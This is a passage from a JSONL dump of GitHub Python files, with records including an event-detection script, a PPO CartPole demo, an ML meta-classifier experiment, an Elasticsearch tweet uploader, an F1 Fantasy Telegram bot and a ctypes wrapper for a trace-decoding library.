len(timestep_to_datetime))\n\t\t\t#because I can't do len() - 1 bc we need to make sure we read the last timestep if it was not read as a t+1 case\n\t\t\tbreak\n\t\tdatetime = timestep_to_datetime[t]\n\t\tif t in timesteps:\n\t\t\t# print(\"if t in timesteps:\")\n\t\t\t#this is the case where we already added i+1 when we merged events\n\t\t\tt1_weights = t2_weights\n\t\t\tt1_phrases = t2_phrases\n\t\t\tt1_candidates = final_t2_candidates\n\t\telif graph_folder + datetime in graph_files:\n\t\t\t# print(\"elif graph_folder + datetime in graph_files:\")\n\t\t# get the phrase weights and original event candidates for t1\n\t\t\tt1_weights = phrase_weights.get_phrase_weights(timestep_to_phrase_file[t])\n\t\t\tt1_phrases = phrase_clustering.get_event_candidates(graph_folder + datetime)\n\t\t\tt1_candidates = candidate_weights(t1_phrases, t1_weights)\n\t\telse:\n\t\t\t# print(\"else 1:\")\n\t\t\tcontinue\n\t\tnext_time = timestep_to_datetime[t+1]\n\t\tif graph_folder + next_time in graph_files:\n\t\t\t# print(\"if graph_folder + next_time in graph_files:\")\n\t\t\t# get the phrase weights and original event candidates for t2\n\t\t\tt2_weights = phrase_weights.get_phrase_weights(timestep_to_phrase_file[t+1])\n\t\t\tt2_phrases = phrase_clustering.get_event_candidates(graph_folder + next_time)\n\n\t\t\tt2_candidates = candidate_weights(t2_phrases, t2_weights)\n\t\t\t# get the phrase weights in the space of t and t+1\n\t\t\ts_phrase_weights = phrase_weights.s_weights(timestep_to_phrase_file[t], timestep_to_phrase_file[t+1], input=\"file\")\n\n\t\t\tfinal_t1_candidates, final_t2_candidates = event_similarity.merge_events((t1_weights, t1_phrases), (t2_weights, t2_phrases), s_phrase_weights)\n\t\t\ttimesteps[t] = final_t1_candidates\n\t\t\ttimesteps[t+1] = final_t2_candidates\n\t\telse:\n\t\t\t# print(\"else 2:\")\n\t\t\ttimesteps[t] = candidate_weights(t1_phrases, t1_weights)\n\t\n\tfor t2 in range(len(phrase_files)):\n\t\tif t2 not in timesteps:\n\t\t\ttimesteps[t2] = {}\n\t\n\tclusters = []\n\tcluster_candidates = 0\n\tfor t in timesteps:\n\n\t\tcluster_candidates += len(timesteps[t])\n\t\tfor ec in timesteps[t]:\n\t\t\tclusters.append(sorted(timesteps[t][ec].keys()))\n\n\tpickle_out = open(\"src/event_candidates/\" + folder + \"timesteps.pickle\",\"wb\")\n\tpickle.dump(timesteps, pickle_out)\n\tpickle_out.close()\n\tpickle_out = open(\"src/event_candidates/\" + folder + \"timestep_to_datetime.pickle\",\"wb\")\n\tpickle.dump(timestep_to_datetime, pickle_out)\n\tpickle_out.close()\n\n\tprint(cluster_candidates)\n\treturn\n\n\nif __name__ == \"__main__\":\n\tmain()","repo_name":"alahnala/event-detection","sub_path":"src/event_candidates.py","file_name":"event_candidates.py","file_ext":"py","file_size_in_byte":3815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"9977503849","text":"import gymnasium as gym\nfrom stable_baselines3 import PPO\n# Use CPU\nimport os\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"-1\"\n\nenv = gym.make(\"CartPole-v1\", render_mode='rgb_array')\n\nprint(\"Start to learn something\")\nmodel = PPO(\"MlpPolicy\", env, verbose=1)\nmodel.learn(total_timesteps=10_000)\n\nprint(\"Start to evaluate the model\")\nvec_env = model.get_env()\nobs = vec_env.reset()\nfor i in range(1000):\n action, _states = model.predict(obs, deterministic=True)\n obs, reward, done, info = vec_env.step(action)\n vec_env.render('human')\n # VecEnv resets automatically\n # if done:\n # obs = env.reset()\n\nenv.close()","repo_name":"jacob975/sb3_toymodel","sub_path":"PPO/20231023_cartpole.py","file_name":"20231023_cartpole.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"21680730914","text":"import utils\nfrom data_utils import SUPPORTED_PROPERTIES\nfrom model_utils import get_models_path, get_model_representations\nimport argparse\nimport numpy as np\nimport torch as ch\nimport os\nimport matplotlib as mpl\nmpl.rcParams['figure.dpi'] = 200\n\n\ndef epoch_strategy(tg, args):\n if args.filter == \"race\":\n return args.epochs if tg not in [\"0.6\", \"0.7\", \"0.8\"] else 70\n else:\n return args.epochs\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--train_sample', type=int, default=800,\n help='# models (per label) to use for training')\n parser.add_argument('--val_sample', type=int, default=0,\n help='# models (per label) to use for validation')\n parser.add_argument('--batch_size', type=int, default=1000)\n # Sex: 1000 epochs, 1e-3\n # Race: 500* epochs, 1e-3\n parser.add_argument('--epochs', type=int, default=1000,\n help=\"Number of epochs to train meta-classifier\")\n parser.add_argument('--ntimes', type=int, default=10,\n help='number of repetitions for multimode')\n parser.add_argument('--filter', choices=SUPPORTED_PROPERTIES,\n help='name for subfolder to save/load data from')\n args = parser.parse_args()\n utils.flash_utils(args)\n\n d_0 = \"0.5\"\n # Look at all folders inside path\n # One by one, run 0.5 v/s X experiments\n targets = filter(lambda x: x != d_0, os.listdir(\n get_models_path(args.filter, \"adv\")))\n\n # Load up positive-label test, test data\n pos_w, pos_labels, _ = get_model_representations(\n get_models_path(args.filter, \"adv\", d_0), 1)\n pos_w_test, pos_labels_test, dims = get_model_representations(\n get_models_path(args.filter, \"victim\", d_0), 1)\n\n data = []\n for tg in targets:\n # Load up negative-label train, test data\n neg_w, neg_labels, _ = get_model_representations(\n get_models_path(args.filter, \"adv\", tg), 0)\n neg_w_test, neg_labels_test, _ = get_model_representations(\n get_models_path(args.filter, \"victim\", tg), 0)\n\n # Generate test set\n X_te = np.concatenate((pos_w_test, neg_w_test))\n Y_te = ch.cat((pos_labels_test, neg_labels_test)).cuda()\n\n print(\"Batching data: hold on\")\n X_te = utils.prepare_batched_data(X_te)\n\n for _ in range(args.ntimes):\n # Random shuffles\n shuffled_1 = np.random.permutation(len(pos_labels))\n pp_x = pos_w[shuffled_1[:args.train_sample]]\n pp_y = pos_labels[shuffled_1[:args.train_sample]]\n\n shuffled_2 = np.random.permutation(len(neg_labels))\n np_x = neg_w[shuffled_2[:args.train_sample]]\n np_y = neg_labels[shuffled_2[:args.train_sample]]\n\n # Combine them together\n X_tr = np.concatenate((pp_x, np_x))\n Y_tr = ch.cat((pp_y, np_y))\n\n val_data = None\n if args.val_sample > 0:\n pp_val_x = pos_w[\n shuffled_1[\n args.train_sample:args.train_sample+args.val_sample]]\n np_val_x = neg_w[\n shuffled_2[\n args.train_sample:args.train_sample+args.val_sample]]\n\n pp_val_y = pos_labels[\n shuffled_1[\n args.train_sample:args.train_sample+args.val_sample]]\n np_val_y = neg_labels[\n shuffled_2[\n args.train_sample:args.train_sample+args.val_sample]]\n\n # Combine them together\n X_val = np.concatenate((pp_val_x, np_val_x))\n Y_val = ch.cat((pp_val_y, np_val_y))\n\n # Batch layer-wise inputs\n print(\"Batching data: hold on\")\n X_val = utils.prepare_batched_data(X_val)\n Y_val = Y_val.float()\n\n val_data = (X_val, Y_val)\n\n metamodel = utils.PermInvModel(dims, dropout=0.5)\n metamodel = metamodel.cuda()\n metamodel = ch.nn.DataParallel(metamodel)\n\n # Float data\n Y_tr = Y_tr.float()\n Y_te = Y_te.float()\n\n # Batch layer-wise inputs\n print(\"Batching data: hold on\")\n X_tr = utils.prepare_batched_data(X_tr)\n\n # Train PIM\n clf, tacc = utils.train_meta_model(\n metamodel,\n (X_tr, Y_tr), (X_te, Y_te),\n epochs=epoch_strategy(tg, args),\n binary=True, lr=1e-3,\n regression=False,\n batch_size=args.batch_size,\n val_data=val_data, combined=True,\n eval_every=10, gpu=True)\n\n data.append([float(tg), tacc])\n print(\"Test accuracy: %.3f\" % data[-1][1])\n\n # Print data\n for tup in data:\n print(tup)\n","repo_name":"iamgroot42/distribution_inference","sub_path":"census/meta.py","file_name":"meta.py","file_ext":"py","file_size_in_byte":4994,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"10120552753","text":"from django.conf.urls import url\nfrom . import views\n\napp_name = 'polls'\nurlpatterns = [\n url('^$', views.index, name='index'),\n url('^detail/(\\d+)/$', views.detail, name='detail'),\n url('^result/(\\d+)/$', views.result, name='result'),\n url('^addpoll/$', views.addpoll, name='addpoll'),\n url('^delpoll/(\\d+)/$', views.delpoll, name='delpoll'),\n\n]\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"Freedom-Chen/chen-project","sub_path":"demo0/demo3/polls/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"24867974638","text":"\n\narchivo_Leer = open(\"Leer_3.txt\", \"w\") # abrir archivo y añadir contenido\nprint(archivo_Leer.write(\"Hola\"))# verifica que lo abrimos com W y es escribible\narchivo_Leer.close() #cerrar un archivo\n\n# Eliminar un archivo\n# se hace con una libreria\n# sellama al modulo OS\n\nimport os\n\nos.remove(\"Leer_3.txt\") # esto lo elimina\n\n","repo_name":"JAPACHECOV/01.-PROYECTOS-DE-PYTHON","sub_path":"ARCHIVO/CERRAR ARCHIVO.py","file_name":"CERRAR ARCHIVO.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"4322569702","text":"import csv\nimport json\nfrom elasticsearch import Elasticsearch\n\n# create instance of elasticsearch\nes = Elasticsearch('http://35.194.191.163:9200')\n\nimport os\ndir_locate = \"/Users/kao_oak/PycharmProjects/Twitter/Moduel_Ball/NLTK/re_search_sentiment_v4/\" #資料夾目錄\nfiles = os.listdir(dir_locate) # 得到資料夾下的所有檔名稱\n\n\nfor path in files:\n name = path.split('.')[0]\n path_url = \"/Users/kao_oak/PycharmProjects/Twitter/Moduel_Ball/NLTK/re_search_sentiment_v4/\"+path\n print('start..............................................' + path)\n with open( path_url , 'r', encoding='utf-8') as f:\n try:\n for line in f.readlines():\n data_list = json.loads(line)['data']\n for data in data_list:\n es.index(index=name+'_sentiment_02',body=data,request_timeout=100000)\n print(name + '..........continue')\n except UnicodeDecodeError:\n continue\n print(name + '..........finished')\n\nprint('Upload Successful!!')\n\n\n\n# Create new index\nbody = {\"mappings\": {\n \"properties\": {\n \"id\": {\"type\": \"integer\"},\n \"conversation_id\": {\"type\": \"integer\"},\n \"created_at\": {\"type\": \"date\", \"format\": \"yyyy-MM-dd HH:mm:ss\"},\n \"date\": {\"type\": \"date\", \"format\": \"yyyy-MM-dd HH:mm:ss\"},\n \"timezone\": {\"type\": \"keyword\"},\n \"place\": {\"type\": \"keyword\"},\n \"location\": {\"type\": \"keyword\"},\n \"tweet\": {\"type\": \"text\"},\n \"clean_tweet\": {\"type\": \"text\"},\n \"hashtags\": {\"type\": \"keyword\", \"normalizer\": \"hashtag_normalizer\"},\n \"cashtags\": {\"type\": \"keyword\", \"normalizer\": \"hashtag_normalizer\"},\n \"user_id_str\": {\"type\": \"keyword\"},\n \"username\": {\"type\": \"keyword\", \"normalizer\": \"hashtag_normalizer\"},\n \"name\": {\"type\": \"text\"},\n \"profile_image_url\": {\"type\": \"text\"},\n \"day\": {\"type\": \"integer\"},\n \"hour\": {\"type\": \"integer\"},\n \"link\": {\"type\": \"text\"},\n \"retweet\": {\"type\": \"text\"},\n \"essid\": {\"type\": \"keyword\"},\n \"nlikes\": {\"type\": \"integer\"},\n \"nreplies\": {\"type\": \"integer\"},\n \"nretweets\": {\"type\": \"integer\"},\n \"quote_url\": {\"type\": \"text\"},\n \"video\": {\"type\": \"integer\"},\n \"search\": {\"type\": \"text\"},\n \"near\": {\"type\": \"text\"},\n \"geo_near\": {\"type\": \"geo_point\"},\n \"geo_tweet\": {\"type\": \"geo_point\"},\n \"photos\": {\"type\": \"text\"},\n \"user_rt_id\": {\"type\": \"keyword\"},\n \"mentions\": {\"type\": \"keyword\", \"normalizer\": \"hashtag_normalizer\"},\n \"source\": {\"type\": \"keyword\"},\n \"user_rt\": {\"type\": \"keyword\"},\n \"retweet_id\": {\"type\": \"keyword\"},\n \"reply_to\": {\n \"type\": \"nested\",\n \"properties\": {\n \"user_id\": {\"type\": \"keyword\"},\n \"username\": {\"type\": \"keyword\"}\n }\n },\n \"retweet_date\": {\"type\": \"date\", \"format\": \"yyyy-MM-dd HH:mm:ss\",\n \"ignore_malformed\": True},\n \"urls\": {\"type\": \"keyword\"},\n \"translate\": {\"type\": \"text\"},\n \"trans_src\": {\"type\": \"keyword\"},\n \"trans_dest\": {\"type\": \"keyword\"},\n \"Subjectivity\": {\"type\": \"float\"},\n \"Polarity\": {\"type\": \"float\"},\n \"Analysis\": {\"type\": \"keyword\"},\n }\n }\n }\n#\n# print('creating '+name+' index.........')\n# try:\n# es.indices.create(index=name+'_v4', body = body)\n# except Elasticsearch.exceptions.RequestError:\n# continue\n\n","repo_name":"christinekao88/Model-Ball","sub_path":"NLTK to ELK.py","file_name":"NLTK to ELK.py","file_ext":"py","file_size_in_byte":3816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"39111029598","text":"import os \nimport pandas as pd \nimport settings # project information\n\n\n# ============================================\n# define variables to house column information\n# ============================================\nHEADERS = {\n \"Acquisition\": [\n \"id\",\n \"channel\",\n \"seller\",\n \"interest_rate\",\n \"balance\",\n \"loan_term\",\n \"origination_date\",\n \"first_payment_date\",\n \"ltv\",\n \"cltv\",\n \"borrower_count\",\n \"dti\",\n \"borrower_credit_score\",\n \"first_time_homebuyer\",\n \"loan_purpose\",\n \"property_type\",\n \"unit_count\",\n \"occupancy_status\",\n \"property_state\",\n \"zip\",\n \"insurance_percentage\",\n \"product_type\",\n \"co_borrower_credit_score\"\n ],\n \"Performance\": [\n \"id\",\n \"reporting_period\",\n \"servicer_name\",\n \"interest_rate\",\n \"balance\",\n \"loan_age\",\n \"months_to_maturity\",\n \"adj_months_to_maturity\", # updated\n \"maturity_date\",\n \"msa\",\n \"delinquency_status\",\n \"modification_flag\",\n \"zero_balance_code\",\n \"zero_balance_date\",\n \"last_paid_installment_date\",\n \"foreclosure_date\",\n \"disposition_date\",\n \"foreclosure_costs\",\n \"property_repair_costs\",\n \"recovery_costs\",\n \"misc_costs\",\n \"tax_costs\",\n \"sale_proceeds\",\n \"credit_enhancement_proceeds\",\n \"repurchase_proceeds\",\n \"other_foreclosure_proceeds\",\n \"non_interest_bearing_balance\",\n \"principal_forgiveness_balance\", \n \"repurchase_whole_proceeds_flag\" # updated\n ]\n}\n\nSELECT = {\n \"Acquisition\": HEADERS[\"Acquisition\"],\n \"Performance\": [\n \"id\",\n \"foreclosure_date\"\n ]\n}\n\n\n# =============================\n# custom function\n# =============================\ndef concatenate(prefix):\n \"\"\"load mutilple data files and combine them into\n a single one\n \"\"\"\n data_dir = settings.GLOBAL_DIR.DATA_DIR\n processed_dir = settings.GLOBAL_DIR.PROCESSED_DIR\n\n files = os.listdir(data_dir)\n full_data = []\n for ii, file in enumerate(files):\n if not file.startswith(prefix):\n continue\n \n data = pd.read_csv(os.path.join(data_dir, file), sep=\"|\", \n header=None, names=HEADERS[prefix], \n index_col=False)\n data = data[SELECT[prefix]]\n full_data.append(data)\n \n full_data = pd.concat(full_data, axis=0)\n \n outfile_path = os.path.join(processed_dir, prefix + '.csv')\n full_data.to_csv(outfile_path, header=True, index=False, sep=\",\")\n\n print(\"{} data files had been created and export to: \\n{}\".format(prefix, outfile_path))\n\n# ========================\n# integrating data files \n# ========================\n# acquisition data: consildiation and exporting to processed/*.csv\nconcatenate(prefix = \"Acquisition\")\nconcatenate(prefix = \"Performance\")\n\n\n \n","repo_name":"beingzy/predict_loan","sub_path":"assemble.py","file_name":"assemble.py","file_ext":"py","file_size_in_byte":3004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"38746889683","text":"# Configuration file for the Sphinx documentation builder.\n#\n# For the full list of built-in configuration values, see the documentation:\n# https://www.sphinx-doc.org/en/master/usage/configuration.html\n\nimport os\nimport sys\n\n# some hacks to find the code in the parent dir (project root)\nsys.path.insert(0, os.path.abspath(\"../../\"))\n\n# -- Project information -----------------------------------------------------\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#project-information\n\nproject = 'Colectica-API'\ncopyright = '2023 Jenny Li'\nauthor = 'Jenny Li'\nfrom colectica_api import __version__\nrelease = __version__\n\n# -- General configuration ---------------------------------------------------\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#general-configuration\n\nextensions = [\n \"sphinx.ext.autodoc\",\n \"sphinx.ext.napoleon\",\n \"sphinx.ext.viewcode\",\n# \"sphinx.ext.doctest\",\n# \"myst_parser\",\n]\n# some stuff we might want in the future commented out above\n\n\ntemplates_path = ['_templates']\nexclude_patterns = []\n\n\n\n# -- Options for HTML output -------------------------------------------------\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#options-for-html-output\n\nhtml_theme = 'sphinx_rtd_theme'\nhtml_static_path = ['_static']\n","repo_name":"CLOSER-Cohorts/colectica-api","sub_path":"docs/source/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"12105554866","text":"import os\nimport sys\n\nimport requests # type: ignore\n\nfrom apscheduler.schedulers.background import BackgroundScheduler\n\nfrom bot.handlers import get_handlers\nfrom bot.telegram_bot import Bot\n\nfrom core.configuration import Configuration, validate_configuration\nfrom dotenv import load_dotenv\n\nfrom http_client import HTTPClient\nfrom http_server import start as http_server_start\nfrom logger import create_logger\nfrom seleniumwire.undetected_chromedriver import ( # type: ignore\n ChromeOptions as uc_chrome_options,\n)\n\nfrom services.f1_fantasy_service import F1FantasyService\nfrom uc_driver import ChromeDriver\n\nLOG_FORMAT = \"[%(levelname)s] %(asctime)s - %(filename)s - %(funcName)s: %(message)s\"\n\n\nif __name__ == \"__main__\":\n load_dotenv()\n\n configuration = Configuration(env_variables=os.environ)\n errors = validate_configuration(configuration)\n log = create_logger(\n name=__name__, level=configuration.log.log_level, format=LOG_FORMAT\n )\n if errors:\n log.error(errors.message)\n sys.exit()\n log.info(\"Startup\")\n\n log.info(\"Starting HTTP server\")\n http_server_start(\n log=create_logger(\n name=\"http-server\", level=configuration.log.log_level, format=LOG_FORMAT\n ),\n hostname=configuration.http_server.hostname,\n port=configuration.http_server.port,\n )\n\n chrome_options = uc_chrome_options()\n chrome_options.add_argument(\"--blink-settings=imagesEnabled=false\")\n chrome_options.add_argument(\"--headless\")\n chrome_options.add_argument(\"--disable-gpu\")\n chrome_options.add_argument(\"--no-sandbox\")\n chrome_options.add_argument(\"--disable-dev-shm-usage\")\n chrome_options.add_argument(\"--disable-web-security\")\n seleniumwire_options = {\"connection_keep_alive\": True, \"disable_encoding\": True}\n driver = ChromeDriver(\n options=chrome_options, seleniumwire_options=seleniumwire_options\n )\n\n log.info(\"Scheduling restart\")\n scheduler = BackgroundScheduler()\n scheduler.add_job(func=driver.reboot, trigger=\"interval\", hours=24)\n scheduler.start()\n\n log.info(\"Performing login\")\n driver.login(\n url=configuration.f1_fantasy.login_url,\n credentials=configuration.f1_fantasy.credentials,\n )\n cookies = driver.get_player_cookie()\n driver.close()\n\n fantasy_bot = Bot(\n api_key=configuration.bot.api_key, db_config=configuration.db_config\n )\n\n log.info(\"Loading drivers\")\n\n f1_drivers_req = requests.get(\n url=\"https://fantasy.formula1.com/feeds/drivers/1_en.json?buster=20230227110410\",\n cookies={\"Cookie\": cookies},\n )\n\n f1_drivers = f1_drivers_req.json()[\"Data\"][\"Value\"]\n f1_all_drivers = {}\n for f1_driver in f1_drivers:\n f1_all_drivers[int(f1_driver[\"PlayerId\"])] = f1_driver\n log.info(\"Creating F1 Fantasy base HTTP client\")\n f1_fantasy_http_client = HTTPClient(\n base_url=\"https://fantasy.formula1.com\",\n )\n log.info(\"Creating Season Service\")\n f1_fantasy_service = F1FantasyService(\n http_client=f1_fantasy_http_client,\n logger=create_logger(\n \"f1-fantasy-service\", level=configuration.log.log_level, format=LOG_FORMAT\n ),\n cookies=cookies,\n league_id=configuration.f1_fantasy.league_id,\n )\n\n log.info(\"Telegram registering handlers\")\n handlers = get_handlers(\n drivers=f1_all_drivers,\n f1_fantasy_service=f1_fantasy_service,\n )\n for handler in handlers:\n fantasy_bot.dispatcher.add_handler(handler=handler)\n\n log.info(\"Starting bot\")\n fantasy_bot.start_bot()\n","repo_name":"rtrive/f1-telegram-fantasy-bot","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3590,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"37119011969","text":"from ctypes import byref, c_bool, c_char_p, c_double, c_int16, c_uint16, c_uint32, c_uint8, c_void_p, cdll, POINTER, Structure\nimport os\nimport sys\nimport platform\n\n\nclass KalTrace:\n \"\"\"Python wrapper of kaltrace library.\"\"\"\n \n # Indicates that there is no branch for a field that would otherwise store a branch target.\n NO_TARGET = 0xFFFFFFFF\n\n class InstructionType(Structure):\n \"\"\"Describes a single instruction within a KalTraceResult.\"\"\"\n _fields_ = [\n (\"instruction\", c_uint32), # MaxiM-decoded version of the instruction\n (\"prefix\", c_uint32), # MaxiM-decoded version of the prefix (if appropriate; 0 otherwise)\n (\"branch_target\", c_uint32), # Target of a jump or call (if present, otherwise NO_TARGET)\n (\"doloop_start_target\", c_uint32), # Target of an end-of-do-loop branch (calculated from beginning of do loop); NO_TARGET if invalid\n (\"instruction_category\",c_uint16), # Bitfield (since we can at once have a conditional call at the end of a do loop that goes to interrupt)\n (\"call_stack_depth\", c_int16), # Depth in call stack (integer, normalised so lowest entry at 0)\n (\"pc_increment\", c_uint8) # PC increment (expected increment to next instruction)\n ]\n \n class InstructionTypesForRange(Structure):\n \"\"\"Python equivalent of the instruction_types_for_range_struct type in kaltrace.h.\"\"\"\n pass # _fields_ is set below, once KalTrace is defined and hence KalTrace.InstructionType referencable.\n\n class TraceResult(Structure):\n \"\"\"Python equivalent of the trace_result type in kaltrace.h.\"\"\"\n pass # _fields_ is set below, once KalTrace is defined and hence KalTrace.InstructionTypesForRange referencable.\n \n class _InstructionFrequency(Structure):\n \"\"\"Describes the frequency of use of a single instruction, for internal use with the kaltrace DLL interface.\"\"\"\n _fields_ = [\n (\"instruction_address\", c_uint32), # Address (PC value) of instruction.\n (\"count\", c_uint32) # Number of times this instruction was executed.\n ]\n \n class InstructionFrequency:\n \"\"\"Describes the frequency of use of a single instruction.\n Field pc holds the address of the instruction and field count holds the number of times it was executed.\"\"\"\n def __init__(self, pc, count):\n self.pc = pc\n self.count = count\n\n def _load_kaltrace_dll(self):\n \"\"\"Finds and loads the kaltrace library. Stores it as self._kaltrace_dll.\"\"\"\n\n # Find the absolute path of this script\n mydir = os.path.abspath(os.path.dirname(__file__))\n\n # Load the C++ library. Give a bit of support to try to ease troubleshooting of common problems.\n if sys.platform.startswith('linux'):\n try:\n self._kaltrace_dll = cdll.LoadLibrary(os.path.join(mydir, \"libkaltrace_shared.so\"))\n except Exception as ex:\n message = (\"Could not find or load libkaltrace.so (or one of its dependencies).\\n\"\n \"If the library is present, check that your Python installation type (32/64-bit) matches \"\n \"the architecture of the kaltrace shared library (e.g. via the 'file' command).\"\n \"The LD_LIBRARY_PATH used for the search was:\\n \")\n message += \"\\n \".join(os.environ.get('LD_LIBRARY_PATH', '').split(\":\"))\n message += \"\\n\\nInner Python exception : %r\" % ex\n raise OSError(message)\n\n elif sys.platform.startswith('cygwin') or sys.platform.startswith('win32'):\n # On Cygwin, path elements are separated by colons, but on win32 it's a semi-colon.\n path_element_separator = \":\" if sys.platform.startswith('cygwin') else \";\"\n \n arch,_ = platform.architecture()\n subdir = {\"64bit\" : \"win64\", \"32bit\" : \"win32\"}[arch]\n dll_dir = os.path.join(mydir, subdir)\n # Add the absolute path of the DLL to the system path\n if os.environ.get(\"PATH\", \"\").find(dll_dir) == -1:\n os.environ[\"PATH\"] = dll_dir + path_element_separator + os.environ.get(\"PATH\", \"\")\n\n try:\n self._kaltrace_dll = cdll.LoadLibrary(\"kaltrace.dll\")\n except Exception as ex:\n message = (\"Could not find or load kaltrace.dll (or one of its dependencies).\\n\"\n \"If the library is present, check that your Python installation type (32/64-bit) matches \"\n \"the kaltrace DLL.\\n\"\n \"Sometimes this error can be fixed by installing a Visual C++ Redistributable package.\\n\"\n \"The system PATH used for the search was:\\n \")\n message += \"\\n \".join(os.environ.get('PATH', '').split(path_element_separator))\n message += \"\\n\\nInner Python exception : %r\" % ex\n raise OSError(message)\n else:\n raise OSError(\"Cannot load the kaltrace library. The system '%s' you are using is not supported.\"\n % sys.platform)\n \n def _add_cfunc(self, name, result_type, arg_types):\n \"\"\"Adds the described function to those stored in _cfuncs. Implementation method for _init_cfuncs.\"\"\"\n dll_function = getattr(self._kaltrace_dll, name)\n if dll_function is None:\n raise Exception(\"Failed to find function {0} in the loaded kaltrace library.\".format(name))\n dll_function.argtypes = arg_types\n dll_function.restype = result_type\n self._cfuncs[name] = dll_function\n \n def _init_cfuncs(self):\n \"\"\"Create ctypes declarations of the functions we need from kaltrace.dll.\"\"\"\n self._cfuncs = {}\n self._add_cfunc('kaltrace_decode_trace_hardware', POINTER(KalTrace.TraceResult), [POINTER(c_uint32), c_uint32, c_char_p]) # (trace data, trace data size in uint32s, elf filename) -> TraceResult allocated with malloc\n self._add_cfunc('kaltrace_decode_trace_with_timestamps', POINTER(KalTrace.TraceResult), [POINTER(c_uint32), c_uint32, c_char_p, POINTER(c_uint32), c_uint32]) # (trace data, trace data size in uint32s, elf filename, timestamp data, timestamp data size in uint64s) -> TraceResult allocated with malloc\n self._add_cfunc('kaltrace_decode_trace_kalsim', POINTER(KalTrace.TraceResult), [c_char_p, c_char_p]) # (trace file path, elf filename) -> TraceResult allocated with malloc\n self._add_cfunc('kaltrace_destroy_trace', None, [POINTER(KalTrace.TraceResult)]) # (pointer to trace to free)\n self._add_cfunc('kaltrace_context_create_hardware', c_void_p, [POINTER(c_uint32), c_uint32, c_char_p]) # (trace data, trace data size in uint32s, elf filename) -> kaltrace context\n self._add_cfunc('kaltrace_context_create_hardware_ts', c_void_p, [POINTER(c_uint32), c_uint32, POINTER(c_uint32), c_uint32, c_char_p]) # (trace data, trace data size in uint32s, timestamp data, timestamp data size in uint64s, elf filename) -> kaltrace context\n self._add_cfunc('kaltrace_context_create_kalsim', c_void_p, [c_char_p, c_char_p]) # (trace file path, elf filename) -> kaltrace context\n self._add_cfunc('kaltrace_context_destroy', None, [c_void_p]) # (kaltrace context)\n self._add_cfunc('kaltrace_decode_begin', c_uint32, [c_void_p]) # (kaltrace context) -> first PC\n self._add_cfunc('kaltrace_decode_next', c_uint32, [c_void_p]) # (kaltrace context) -> next PC\n self._add_cfunc('kaltrace_decode_end', c_bool, [c_void_p]) # (kaltrace context) -> bool (is at end?)\n self._add_cfunc('kaltrace_decode_ts_begin', c_uint32, [c_void_p, POINTER(c_uint32)]) # (kaltrace context, out timestamp) -> first PC\n self._add_cfunc('kaltrace_decode_ts_next', c_uint32, [c_void_p, POINTER(c_uint32)]) # (kaltrace context, out timestamp) -> next PC\n self._add_cfunc('kaltrace_count_number_of_instructions', c_uint32, [c_void_p]) # (kaltrace context) -> number of instructions\n self._add_cfunc('kaltrace_get_instruction_frequencies', POINTER(KalTrace._InstructionFrequency), [c_void_p, POINTER(c_uint32)]) # (kaltrace context, output instruction count) -> kaltrace_instruction_frequency array (with output instruction count elements)\n self._add_cfunc('kaltrace_free_instruction_frequencies', None, [POINTER(KalTrace._InstructionFrequency)])# (pointer returned by kaltrace_get_instruction_frequencies to free)\n self._add_cfunc('kaltrace_start_logging', None, [c_char_p, c_bool]) # (filename, overwrite?)\n self._add_cfunc('kaltrace_stop_logging', None, [])\n \n \n def __init__(self):\n self._load_kaltrace_dll()\n self._init_cfuncs()\n self._kept_trace_data = {} # Keeps a mapping from contexts returned by context_create to arrays that must live as long as those contexts. \n self._kept_timestamp_data = {} # Analagous to _kept_trace_data, but for timestamp data.\n \n def decode_trace(self, trace_data, elf_filename):\n \"\"\"Decodes the given trace data, assuming it was generated from the named ELF file. \n The trace_data argument should be a sequence of 32-bit unsigned integer values holding the encoded trace.\n Returns a POINTER(TraceResult) object which should be passed to free_trace when finished with.\"\"\"\n trace_data_num_elements = len(trace_data)\n trace_data_as_uint32_array = (c_uint32*trace_data_num_elements)()\n trace_data_as_uint32_array[:] = trace_data\n rv = self._cfuncs['kaltrace_decode_trace_hardware'](trace_data_as_uint32_array, trace_data_num_elements, elf_filename)\n if not rv:\n raise Exception(\"Failed to decode trace.\")\n return rv\n \n def decode_trace_with_timestamps(self, trace_data, time_data, elf_filename):\n \"\"\"Decodes the given trace data, assuming it was generated from the named ELF file. \n The trace_data argument should be a sequence of 32-bit unsigned integer values holding the encoded trace.\n The time_data argument should be a matching sequence of 32-bit unsigned integer values\n holding timestamps for the trace.\n Returns a POINTER(TraceResult) object which should be passed to free_trace when finished with.\"\"\"\n trace_data_num_elements = len(trace_data)\n trace_data_as_uint32_array = (c_uint32*trace_data_num_elements)()\n trace_data_as_uint32_array[:] = trace_data\n\n time_data_num_elements = len(time_data)\n time_data_as_uint64_array = (c_uint32*time_data_num_elements)()\n time_data_as_uint64_array[:] = time_data\n\n rv = self._cfuncs['kaltrace_decode_trace_with_timestamps'](trace_data_as_uint32_array, \n trace_data_num_elements, \n elf_filename,\n time_data_as_uint64_array,\n time_data_num_elements)\n if not rv:\n raise Exception(\"Failed to decode trace.\")\n return rv\n\n def decode_kalsim_trace(self, 